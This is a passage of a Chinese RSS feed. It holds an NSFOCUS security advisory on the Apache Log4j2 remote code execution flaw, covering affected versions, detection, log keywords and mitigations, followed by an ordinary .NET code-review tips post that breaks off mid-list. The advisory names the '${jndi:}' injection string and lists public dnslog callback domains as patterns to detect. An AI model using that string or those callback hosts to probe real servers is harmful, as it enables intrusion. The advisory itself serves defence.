      <description>&lt;div&gt;    &lt;div&gt;阅读：1,642&lt;/div&gt;    &lt;h2&gt;一、漏洞概述&lt;/h2&gt;    &lt;p&gt;12月9日，绿盟科技CERT监测到网上披露Apache Log4j2 远程代码执行漏洞，由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特别构造的数据请求包，可在目标服务器上执行任意代码。漏洞PoC已在网上公开，默认配置即可进行利用，该漏洞影响范围极广，建议相关用户尽快采取措施进行排查与防护。&lt;/p&gt;    &lt;p&gt;12月10日，绿盟科技CERT发现Apache Log4j 2.15.0-rc1 版本仅修复LDAP和增加了host白名单，可以被绕过利用，官方发布了Apache Log4j 2.15.0-rc2版本进行修复，增加了对urI异常的处理。&lt;/p&gt;    &lt;p&gt;Apache Log4j2是一款开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中，用来记录日志信息。&lt;/p&gt;    &lt;p&gt;漏洞成功复现截图：&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="368" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-25.png" width="886"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;p&gt;2.15.0-rc1绕过复现截图：&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="530" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-26.png" width="886"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;table&gt;      &lt;tr&gt;        &lt;td&gt;          &lt;strong&gt;漏洞细节&lt;/strong&gt;&lt;/td&gt;        &lt;td&gt;          &lt;strong&gt;漏洞PoC&lt;/strong&gt;&lt;/td&gt;        &lt;td&gt;          &lt;strong&gt;漏洞EXP&lt;/strong&gt;&lt;/td&gt;        &lt;td&gt;          &lt;strong&gt;在野利用&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;已公开&lt;/td&gt;        &lt;td&gt;已公开&lt;/td&gt;        &lt;td&gt;已公开&lt;/td&gt;        &lt;td&gt;存在&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;    &lt;p&gt;参考链接：      &lt;a href="https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues"&gt;https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues&lt;/a&gt;&lt;/p&gt;    &lt;h2&gt;二、影响范围&lt;/h2&gt;    &lt;p&gt;      &lt;strong&gt;受影响版本&lt;/strong&gt;&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;2.0 &amp;lt;= Apache Log4j &amp;lt;= 2.15.0-rc1&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;      &lt;strong&gt;注：&lt;/strong&gt;使用Apache Log4j 1.X版本的应用，若开发者对JMS Appender利用不当，可对应用产生潜在的安全影响。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;供应链影响范围：&lt;/strong&gt;      &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;已知受影响应用及组件：&lt;/p&gt;    &lt;p&gt;Apache Solr&lt;/p&gt;    &lt;p&gt;Apache Struts2&lt;/p&gt;    &lt;p&gt;Apache Flink&lt;/p&gt;    &lt;p&gt;Apache Druid&lt;/p&gt;    &lt;p&gt;spring-boot-strater-log4j2&lt;/p&gt;    &lt;p&gt;更多组件可参考如下链接：&lt;/p&gt;    &lt;p&gt;      &lt;a href="https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1"&gt;https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1&lt;/a&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;不受影响版本&lt;/strong&gt;&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;Apache log4j-2.15.0-rc2（与官网的2.15.0稳定版相同）&lt;/li&gt;&lt;/ul&gt;    &lt;h2&gt;三、漏洞检测&lt;/h2&gt;    &lt;h3&gt;3.1 人工检测&lt;/h3&gt;    &lt;p&gt;1、相关用户可根据Java jar解压后是否存在org/apache/logging/log4j相关路径结构，判断是否使用了存在漏洞的组件，若存在相关Java程序包，则很可能存在该漏洞。&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="680" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-38.png" width="865"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;p&gt;2、若程序使用Maven打包，查看项目的pom.xml文件中是否存在下图所示的相关字段，若版本号为小于2.15.0-rc2，则存在该漏洞。&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="697" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-37.png" width="865"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;p&gt;3、若程序使用gradle打包，可查看build.gradle编译配置文件，若在dependencies部分存在org.apache.logging.log4j相关字段，且版本号为小于2.15.0-rc2，则存在该漏洞。&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="123" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-36.png" width="866"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;h3&gt;3.2 攻击排查&lt;/h3&gt;    &lt;p&gt;1、攻击者在利用前通常采用dnslog方式进行扫描、探测，常见的漏洞利用方式可通过应用系统报错日志中的”javax.naming.CommunicationException”、”javax.naming.NamingException: problem generating object using object factory”、”Error looking up JNDI resource”关键字进行排查。&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="308" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-35.png" width="865"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;p&gt;2、攻击者发送的数据包中可能存在”${jndi:}” 字样，推荐使用全流量或WAF设备进行检索排查。&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="284" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-34.png" width="886"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;h3&gt;3.3 产品检测&lt;/h3&gt;    &lt;p&gt;绿盟科技远程安全评估系统（RSAS）与WEB应用漏洞扫描系统(WVSS)、网络入侵检测系统（IDS）、综合威胁探针（UTS）已具备对该漏洞的扫描与检测能力，请有部署以上设备的用户升级至最新版本。&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="672" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-33.png" width="965"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;p&gt;关于RSAS的升级配置指导，请参考如下链接：&lt;/p&gt;    &lt;p&gt;      &lt;a href="https://mp.weixin.qq.com/s/SgOaCZeKrNn-4uR8Yj_C3Q"&gt;https://mp.weixin.qq.com/s/SgOaCZeKrNn-4uR8Yj_C3Q&lt;/a&gt;&lt;/p&gt;    &lt;h3&gt;3.4 申请云检测&lt;/h3&gt;    &lt;p&gt;绿盟科技面向用户提供远程检测服务，因该漏洞的检测存在一定风险，相关客户如需要申请云检测，请联系销售或项目经理沟通，或用个人的公司邮箱发邮件至rs@nsfocus.com，在正文中提供需要扫描的资产清单，可以扫描的时间，联系方式，服务人员会与您联系。&lt;/p&gt;    &lt;p&gt;7x24h客服咨询热线：      &lt;a href="tel:4008186868"&gt;400-818-6868&lt;/a&gt;转2&lt;/p&gt;    &lt;h2&gt;四、漏洞防护&lt;/h2&gt;    &lt;h3&gt;4.1 官方升级&lt;/h3&gt;    &lt;p&gt;目前官方已发布log4j-2.15.0-rc2测试版本与apache-log4j-2.15.0稳定版修复该漏洞，受影响用户可先将Apache Log4j2所有相关应用到以上版本，下载链接：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2或https://logging.apache.org/log4j/2.x/download.html&lt;/p&gt;    &lt;p&gt;注：可能出现不稳定的情况，建议用户在备份数据后再进行升级。&lt;/p&gt;    &lt;p&gt;升级供应链中已知受影响的应用及组件：Apache Solr、Apache Struts2、Apache Flink、Apache Druid、spring-boot-strater-log4j2&lt;/p&gt;    &lt;h3&gt;4.2 产品防护&lt;/h3&gt;    &lt;p&gt;针对此漏洞，绿盟科技WEB应用防护系统(WAF)与网络入侵防护系统(IPS)已发布规则升级包，请相关用户升级规则，以形成安全产品防护能力。安全防护产品规则版本号如下：&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="472" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-32-1024x472.png" width="1024"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;p&gt;产品规则升级的操作步骤详见如下链接：&lt;/p&gt;    &lt;p&gt;IPS：https://mp.weixin.qq.com/s/DxQ3aaap8aujqZf-3VbNJg&lt;/p&gt;    &lt;p&gt;WAF：https://mp.weixin.qq.com/s/7F8WCzWsuJ5T2E9e01wNog&lt;/p&gt;    &lt;h3&gt;4.3 临时防护措施&lt;/h3&gt;    &lt;p&gt;若相关用户暂时无法进行升级操作，可先用下列措施进行临时缓解：&lt;/p&gt;    &lt;p&gt;1、添加jvm启动参数:-Dlog4j2.formatMsgNoLookups=true&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="41" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-31.png" width="875"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;p&gt;2、在应用classpath下添加log4j2.component.properties配置文件，文件内容为：log4j2.formatMsgNoLookups=true&lt;/p&gt;    &lt;div&gt;      &lt;img alt="" height="302" src="http://blog.nsfocus.net/wp-content/uploads/2021/12/image-30.png" width="875"&gt;&lt;/img&gt;&lt;/div&gt;    &lt;p&gt;3、建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本&lt;/p&gt;    &lt;p&gt;4、限制受影响应用对外访问互联网，并在边界对dnslog相关域名访问进行检测。&lt;/p&gt;    &lt;p&gt;部分公共dnslog平台如下：&lt;/p&gt;    &lt;p&gt;ceye.io&lt;/p&gt;    &lt;p&gt;dnslog.link&lt;/p&gt;    &lt;p&gt;dnslog.cn&lt;/p&gt;    &lt;p&gt;dnslog.io&lt;/p&gt;    &lt;p&gt;tu4.org&lt;/p&gt;    &lt;p&gt;burpcollaborator.net&lt;/p&gt;    &lt;p&gt;s0x.cn&lt;/p&gt;    &lt;h3&gt;4.4 平台监测&lt;/h3&gt;    &lt;p&gt;绿盟企业安全平台（ESP-H）与绿盟智能安全运营平台（ISOP）已经具备针对此漏洞的检测能力，部署有绿盟科技平台类产品的用户，可实现对漏洞的平台监测能力。&lt;/p&gt;    &lt;table&gt;      &lt;tr&gt;        &lt;td&gt;          &lt;strong&gt;安全平台&lt;/strong&gt;&lt;/td&gt;        &lt;td&gt;          &lt;strong&gt;升级包/规则版本号&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;ESP-H（绿盟企业安全平台）          &lt;strong&gt;&lt;/strong&gt;&lt;/td&gt;        &lt;td&gt;使用最新规则升级包 vulnDict-2021121001.dat&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;ISOP（绿盟智能安全运营平台）          &lt;strong&gt;&lt;/strong&gt;&lt;/td&gt;        &lt;td&gt;升级攻击识别规则包至最新 attack_rule.1.0.0.1.1048648.dat&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;    &lt;p&gt;      &lt;strong&gt;声明&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;本安全公告仅用来描述可能存在的安全问题，绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，绿盟科技以及安全公告作者不为此承担任何责任。&lt;/p&gt;    &lt;p&gt;绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告，必须保证此安全公告的完整性，包括版权声明等全部内容。未经绿盟科技允许，不得任意修改或者增减此安全公告内容，不得以任何方式将其用于商业目的。&lt;/p&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61950-apache-log4j2-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Sat, 11 Dec 2021 09:40:45 CST</pubDate>
    </item>
    <item>
      <title>dotnet 一些代码审查套路</title>
      <link>https://itindex.net/detail/61840-dotnet-%E4%BB%A3%E7%A0%81%E5%AE%A1%E6%9F%A5-%E5%A5%97%E8%B7%AF</link>
      <description>&lt;p&gt;本文记录一些代码审查套路，在看到小伙伴写出某些代码的时候可以告诉他这样写有锅&lt;/p&gt;





 &lt;p&gt;我在各个项目里面进行代码审查，我维护了很多个项目&lt;/p&gt;



 &lt;p&gt;  &lt;img alt="" src="http://image.acmx.xyz/lindexi%2F202066945231794.jpg"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;这是我截图某一天的一个核心项目的在 Gitlab 上的 MR 情况，我觉得头像应该是不用保密的，这样知道的小伙伴自然就知道了。对了，那些挂了超过3天的都是标记 WIP 还在开发中的&lt;/p&gt;



 &lt;p&gt;  &lt;img alt="" src="http://image.acmx.xyz/lindexi%2F202066949354081.jpg"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;回到主题，代码审查时有哪些套路？&lt;/p&gt;

 &lt;h2&gt;多语言&lt;/h2&gt;

 &lt;p&gt;如果写了固定的在界面显示的字符串，请询问是否需要使用多语言&lt;/p&gt;

 &lt;h2&gt;魔数的处理&lt;/h2&gt;

 &lt;p&gt;啥是魔数？写固定的一些数值等&lt;/p&gt;

 &lt;p&gt;魔数尽量不要出现，抽成常量，便于修改，一定避免不了使用魔数的话添加详细注释&lt;/p&gt;

 &lt;p&gt;如以下代码，后续维护难度几乎等于无穷&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;Foo(1, 200, 15, 16, 20);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;注释说的是不是和代码做的相同&lt;/h2&gt;

 &lt;p&gt;有时候改动的时候忘记改注释了，此时注释说的和代码做的不是一回事，因此代码审查不要跳过注释写的&lt;/p&gt;

 &lt;h2&gt;变量名拼写 语法规范&lt;/h2&gt;

 &lt;p&gt;变量名拼写是否符合语法，符合规范&lt;/p&gt;

 &lt;p&gt;这部分其实用机器人不错，如 GitHub 的代码风格自动审查机器人   &lt;a href="https://github.com/marketplace/codefactor"&gt;CodeFactor&lt;/a&gt; 可以自动审查代码风格&lt;/p&gt;

 &lt;h2&gt;该加单位的属性是否明确了单位&lt;/h2&gt;

 &lt;p&gt;用的最多的就是时间单位，请问如下属性表示的是秒还是毫秒&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public double Foo { get; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;要么让类型可以表示时间的单位，要么在属性命名上区分，请看   &lt;a href="https://blog.lindexi.com/post/%E7%A8%8B%E5%BA%8F%E7%8C%BF%E4%BF%AE%E5%85%BB-%E7%BB%99%E5%B1%9E%E6%80%A7%E4%B8%80%E4%B8%AA%E5%8D%95%E4%BD%8D.html"&gt;程序猿修养 给属性一个单位&lt;/a&gt;&lt;/p&gt;

 &lt;h2&gt;函数的参数个数不要太多&lt;/h2&gt;

 &lt;p&gt;太多的参数调用起来也不方便，代码可读性也比较渣&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public void CubeAdsorb(Point start, Point end, Point topLeft, List&amp;lt;Point&amp;gt; points, double theta, Matrix backMatrix, Vector vector, Cube cube)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;太多的参数建议定义一个新的类用来包装&lt;/p&gt;

 &lt;h2&gt;判断逻辑判断方法不要随意倒换&lt;/h2&gt;

 &lt;p&gt;其实只要固定下来，可读性会比较好，如以下反例&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;        internal FontStyle(int style)
        {
            Debug.Assert(0 &amp;lt;= style &amp;amp;&amp;amp; style &amp;lt;= 2);

            _style = style;
        }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;这是 WPF 框架源代码的 FontStyle 类的代码，可读性比较渣的代码是   &lt;code&gt;0 &amp;lt;= style &amp;amp;&amp;amp; style &amp;lt;= 2&lt;/code&gt; 因为判断方法存在一次倒换。第一次判断是使用常量和变量判断，第二次反过来&lt;/p&gt;

 &lt;p&gt;当然，适应之后也会发现其实上面的写法也是有一些可读的，因为可以和数学一样表示一个区间&lt;/p&gt;

 &lt;h2&gt;注意外部属性或字段的变更&lt;/h2&gt;

 &lt;p&gt;有很多代码写的时候需要考虑多线程访问，多线程的时候可能其他线程会变更外部的属性或字段，因此如下面代码是不安全的&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;            if (s_providers == null)
                return null;

            EncodingProvider[] providers = s_providers;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;上面代码的   &lt;code&gt;s_providers&lt;/code&gt; 的定义是一个静态字段，上面代码在判断   &lt;code&gt;s_providers == null&lt;/code&gt; 时，此时   &lt;code&gt;s_providers&lt;/code&gt; 是存在值的。但是后续获取   &lt;code&gt;providers = s_providers&lt;/code&gt; 时，可能此时的   &lt;code&gt;s_providers&lt;/code&gt; 的值就被改为 null 此时的逻辑是不对的&lt;/p&gt;

 &lt;p&gt;推荐的写法如下&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;            EncodingProvider[] providers = s_providers;
            if (providers == null)
                return null;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;先获取外部字段放在局部变量，再判断局部变量。这样能解决两次访问外部字段的时候，访问的对象不是相同的对象&lt;/p&gt;

 &lt;h2&gt;属性的获取应该是轻量的&lt;/h2&gt;

 &lt;p&gt;从 C# 的设计上，使用属性可以做到对字段或内存空间的封装，可以在获取之前进行一些运算。但是咱默认的约定应该是属性的获取应该是轻量的运算，最好不要做 IO 或重计算，如下面代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public string Foo
{
    get
    {
        // 访问数据库
        // 读写文件
        return xx;
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;因为大部分小伙伴在使用属性的时候都是不期望去看 get 的代码，都是认为有这个属性可以获取，也许会写入如下面代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;for (int i = 0; i &amp;lt; n; i++)
{
    F1(Foo);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;也就是在循环里面不断获取属性，而这个属性获取的性能又比较差&lt;/p&gt;

 &lt;p&gt;如果属性的获取的性能比较差，推荐修改为方法，如   &lt;code&gt;GetFoo&lt;/code&gt; 这样小伙伴看到方法也有预期&lt;/p&gt;

 &lt;h2&gt;通过局部变量简化获取属性的属性的写法&lt;/h2&gt;

 &lt;p&gt;如看到以下的代码，会觉得代码很复杂&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;var f1 = Axxx.Bxxxxx.Cxxxxx;
var f2 = F3(f1, Axxx.Bxxxxx.Dxxxxx);
F4(f2, Axxx.Bxxxxx.Exxxxx);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;如果此时将   &lt;code&gt;Axxx.Bxxxxx&lt;/code&gt; 提取出来，相对来说代码看起来就没有那么多&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;var bxx = Axxx.Bxxxxx;

var f1 = bxx.Cxxxxx;
var f2 = F3(f1, bxx.Dxxxxx);
F4(f2, bxx.Exxxxx);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;小心属性的属性的属性的写法中途存在空值&lt;/h2&gt;

 &lt;p&gt;尽可能不要太多层的属性的属性的写法，如下面代码，听说下面这行代码抛了一个空异常，请问哪个是空&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;var foo = A.B.C.D.E.F.G;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;事件的加等&lt;/h2&gt;

 &lt;p&gt;推荐存在重入的方法对事件加等之前使用减等，至少多余的减等没啥坏处，但是可以解决某些事件被添加多次&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public void Foo()
{
    F1Event += F2;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;此时如果存在多次的加等，那么 F1Event 触发一次将会调用两次 F2 方法。而这个逻辑在开始写的时候应该是没锅，但是后续小伙伴改动的时候也许会多调用一次 Foo 方法，此时就炸了&lt;/p&gt;

 &lt;p&gt;修改后的代码如下&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public void Foo()
{
    F1Event -= F2;
    F1Event += F2;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;第一次进入的时候，假设 F1Event 是空，此时   &lt;code&gt;F1Event -= F2&lt;/code&gt; 没有任何作用，也不会出错。但是如果是第二次进入的时候，就可以做到干掉之前监听的事件&lt;/p&gt;

 &lt;p&gt;好，第二个问题就是应该让减等跟随加等，放在相邻的两句代码。如果不遵守会如何，如下面的故事。逗 A 说德熙说要先减等然后再加等，好我写了下面的代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public void Foo()
{
    F1Event -= F2;

    // 其他的业务

    F1Event += F2;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;然后逗 B 就改了上面的逻辑，中间加了有趣的逻辑，例如再次调用自身&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public void Foo()
{
    F1Event -= F2;

    // 其他的业务
    Foo();

    F1Event += F2;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;请问上面代码会有什么坑？第一次调用 F1Event 的减等，此时 F1Event 没有被 F2 监听。而第二次调用 Foo 方法，此时 F1Event 没有被 F2 监听。然后在 Foo 里面调用了   &lt;code&gt;F1Event += F2&lt;/code&gt; 加等一次，接着再来一次加等，最后也就是会加等两次&lt;/p&gt;

 &lt;p&gt;因此推荐上面的规则，让减等和加等放在相邻的代码，如下面代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public void Foo()
{
    F1Event -= F2;
    F1Event += F2;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;此时没有在加等和减等插入逻辑，基本上除非是多线程，那么最终只是监听一次&lt;/p&gt;

 &lt;h2&gt;先执行再加等事件&lt;/h2&gt;

 &lt;p&gt;大多数的业务，都需要先加等事件再执行业务，否则在遇到有多线程的时候，可能就是偶尔是另一个线程先执行完成，而事件还没有加等，因此没有收到通知&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;// 执行 A 业务
foo.A();
foo.AChanged += Fx;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;推荐的是先执行事件的加等，然后再执行逻辑。当然，这个和具体业务是相关的，也许业务上就是想要忽略一次事件&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;// 先加等事件，这样 A 执行完触发事件就可以被收到
foo.AChanged += Fx;
// 执行 A 业务
foo.A();
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;如果有看到事件的加等，请看一下是否可以放在业务的最开始&lt;/p&gt;

 &lt;h2&gt;框架层对外抛出事件捕获异常&lt;/h2&gt;

 &lt;p&gt;在编写框架层或者基础库的逻辑，需要对外抛出事件，那么推荐捕获对外抛出的事件抛出的异常，不要让事件抛出的异常影响到逻辑&lt;/p&gt;

 &lt;p&gt;因为对外抛出的事件，是给上层业务使用的，如果上层某个业务抛了异常，也许将会影响框架本身。好的设计大部分是捕获此事件抛出的所有异常，然后稳稳执行完成框架的逻辑之后，再次抛出异常或者封装之后抛出&lt;/p&gt;

 &lt;p&gt;值得考虑的是，重新抛出的异常可以用   &lt;a href="https://blog.walterlv.com/post/exceptiondispatchinfo-capture-throw.html"&gt;ExceptionDispatchInfo&lt;/a&gt; 类的辅助。通过   &lt;a href="https://blog.walterlv.com/post/exceptiondispatchinfo-capture-throw.html"&gt;ExceptionDispatchInfo&lt;/a&gt; 可以继续原先异常的抛出堆栈，不会丢失信息&lt;/p&gt;

 &lt;h2&gt;字典性能相关&lt;/h2&gt;

 &lt;p&gt;字典的时候需要关注的是两次获取的问题&lt;/p&gt;

 &lt;h3&gt;字典获取值&lt;/h3&gt;

 &lt;p&gt;如需要判断如果字典存在就获取，有下面两个写法&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;    if (Dictionary.TryGetValue(xx, out var foo))
    {
    }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;第二个写法如下&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;if(Dictionary.ContainsKey(xx))
{
    var foo = Dictionary[xx];
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;这两个方法哪个性能好？其实 TryGetValue 只需要获取一次，性能比较好，测试请看下面博客&lt;/p&gt;

 &lt;p&gt;  &lt;a href="https://blog.lindexi.com/post/C-%E5%AD%97%E5%85%B8-Dictionary-%E7%9A%84-TryGetValue-%E4%B8%8E%E5%85%88%E5%88%A4%E6%96%AD-ContainsKey-%E7%84%B6%E5%90%8E-Get-%E7%9A%84%E6%80%A7%E8%83%BD%E5%AF%B9%E6%AF%94.html"&gt;C# 字典 Dictionary 的 TryGetValue 与先判断 ContainsKey 然后 Get 的性能对比&lt;/a&gt;&lt;/p&gt;

 &lt;h3&gt;字典添加值&lt;/h3&gt;

 &lt;p&gt;想要判断如果字典不存在值的时候才添加，也有两个写法&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;if(!Dictionary.ContainsKey(xx))
{
    Dictionary[xx] = foo;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;另一个写法是采用 .NET Core 2.0 和 .NET Standard 2.1 添加的 TryAdd 方法添加值&lt;/p&gt;

 &lt;p&gt;使用 TryAdd 方法的性能会更好，不过这个方法是最近才添加的，也许很多小伙伴不知道&lt;/p&gt;

 &lt;p&gt;  &lt;a href="https://docs.microsoft.com/en-us/dotnet/api/system.collections.generic.dictionary-2.tryadd?wt.mc_id=MVP"&gt;Dictionary.TryAdd(TKey, TValue) Method (System.Collections.Generic)&lt;/a&gt;&lt;/p&gt;

 &lt;p&gt;  &lt;a href="https://blog.lindexi.com/post/dotnet-%E5%AD%97%E5%85%B8%E7%B1%BB%E6%89%BE%E4%B8%8D%E5%88%B0-TryAdd-%E6%96%B9%E6%B3%95.html"&gt;dotnet 字典类找不到 TryAdd 方法&lt;/a&gt;&lt;/p&gt;

 &lt;h2&gt;数组 列表 集合的初始化&lt;/h2&gt;

 &lt;p&gt;如果在此上下文中能够明确知道数组 列表 集合将要分配的大小，那么推荐给定一个指定的大小，如下面代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;var foo = new List&amp;lt;int&amp;gt;(10);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;此规则不仅适用于 List 同时也适用于 Dictionary 等集合类&lt;/p&gt;

 &lt;p&gt;给定明确的大小可以减少后续的集合分配内存，提升性能。可以提升内存性能和 CPU 性能。原因是 大部分集合类 底层分配是两倍两倍分配，重新分配的内存需要将原有的拷贝过去。而因为是两倍两倍分配，所以大部分时候都会比需要的多一些&lt;/p&gt;

 &lt;p&gt;因此给定明确的分配大小可以减少内存分配和拷贝，提升性能&lt;/p&gt;

 &lt;p&gt;详细请看   &lt;a href="https://www.cnblogs.com/huangxincheng/p/12954569.html"&gt;List的扩容机制，你真的明白吗？ - 一线码农 - 博客园&lt;/a&gt;&lt;/p&gt;

 &lt;h2&gt;尽可能的只读的列表或数组&lt;/h2&gt;

 &lt;p&gt;对于函数的返回值或者属性的获取，如果是返回 List 或 IList 的时候，请想一下，是否可以使用只读列表或只读数组代替。参数传入的时候，也考虑一下是否可以使用只读列表或只读数组传入&lt;/p&gt;

 &lt;p&gt;尽可能使用只读的列表和数组可以减少在后续开发过程中，遇到数组或列表缓存问题以及元素更改问题，同时可以减少很多 ToList 等的调用&lt;/p&gt;

 &lt;h2&gt;空数组使用 Array.Empty 表示&lt;/h2&gt;

